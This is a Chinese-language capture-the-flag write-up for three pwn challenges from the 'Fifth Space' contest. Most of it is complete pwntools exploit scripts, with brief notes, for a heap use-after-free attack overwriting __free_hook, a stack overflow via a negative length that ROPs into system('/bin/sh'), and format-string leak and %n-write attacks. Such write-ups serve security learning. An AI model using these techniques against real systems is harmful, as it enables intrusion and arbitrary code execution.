第五空间线下赛(pwn)

首先ida查看,是一个标准的堆题

查看delete,uaf漏洞

那么自然是fasted bin attack + unsortd bin 的组合攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

context.log_level = 'debug'

sh = process('./pwn')
elf = ELF('./pwn')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(size):
sh.recvuntil('>>')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(str(size))

def show(idx):
sh.recvuntil('>>')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(idx))

def edit(idx,content):
sh.recvuntil('>>')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline(str(idx))
sh.recvuntil(':')
sh.sendline(str(content))

def delete(idx):
sh.recvuntil('>>')
sh.sendline('4')
sh.recvuntil(':')
sh.sendline(str(idx))

########################################unsorted bin attack#####################################
add(0x80)
add(0x68)
delete(0)
#gdb.attach(sh)
show(0)
main_arena = u64(sh.recvuntil('\n')[-7:-1].ljust(8,'\x00'))-88
log.success('main_arena='+hex(main_arena))
#gdb.attach(sh)
__malloc_hook = main_arena - 0x10
libc_addr = __malloc_hook - libc.symbols['__malloc_hook']
system = libc_addr + libc.symbols['system']
binsh = libc_addr + libc.search('/bin/sh\x00').next()

__free_hook = libc_addr + libc.symbols['__free_hook']
log.success('__free_hook='+hex(__free_hook))
#gdb.attach(sh)
payload = p64(main_arena) + p64(__free_hook - 0x40)
edit(0,payload)
add(0x80)

delete(1)
###################################fasted bin attack ###########################################
fastbin_attack = __free_hook - (0x33)
edit(1,p64(fastbin_attack))
add(0x68)
add(0x68)
edit(4,'\x00'*3+p64(0)*4+p64(system))
gdb.attach(sh)
edit(0,'/bin/sh\x00')
delete(0)
sh.interactive()

漏洞点在

若输入负数,则read的size位便极大,使得允许栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context.log_level = 'debug'
bss = 0x0804A040
main_addr = 0x08048668
system_addr = 0x0804865D
pop3_ret = 0x08048779
sh = process('./pwn')
elf = ELF('./pwn')
#######################write bss######################
sh.recvuntil(':')
sh.sendline('20')
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('-1')
sh.recvuntil('\n')
payload = 'a'*(0x5c+0x4)
#payload += p32(0x0804864F)
payload += p32(elf.plt['read']) + p32(pop3_ret) + p32(0) + p32(bss) + p32(8) +p32(main_addr)
gdb.attach(sh)
sh.sendline(payload)
sleep(0.2)

sh.send("/bin/sh\x00")

#########################get shell####################
sh.recvuntil(':')
sh.sendline('20')
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('-1')
sh.recvuntil('\n')
payload = 'a'*(0x5c+0x4)
payload += p32(system_addr)+p32(0x0)+p32(bss)
sh.interactive()

漏洞点在格式化字符串漏洞,那么就有两种解题的办法

第一种:50%概率的

为什么只有50%呢,因为会随机出负数鸭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = "debug"

#sh = process("./pwn")
sh = remote("node2.buuoj.cn.wetolink.com", 28695)

suiji_addr = 0x0804C044
offset = 10

sh.recv()
sh.send(p32(suiji_addr) + "%10$s")
#sh.recvuntil(".")
sh.recvuntil('\x08')
suiji = u32(sh.recv(4))

print suiji
print hex(suiji)
print int(suiji)

sh.recvuntil("passwd")
sh.sendline(str(suiji))

sh.interactive()

第二种:100%概率的

这就是反向写入了

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = 'debug'
sh = process("./pwn")

def fsb(payload):
sh.sendafter("your name:",payload)
target=0x804C044
payload=p32(target)+"%10$n"
fsb(payload)

sh.sendafter("your passwd:","4")
sh.interactive()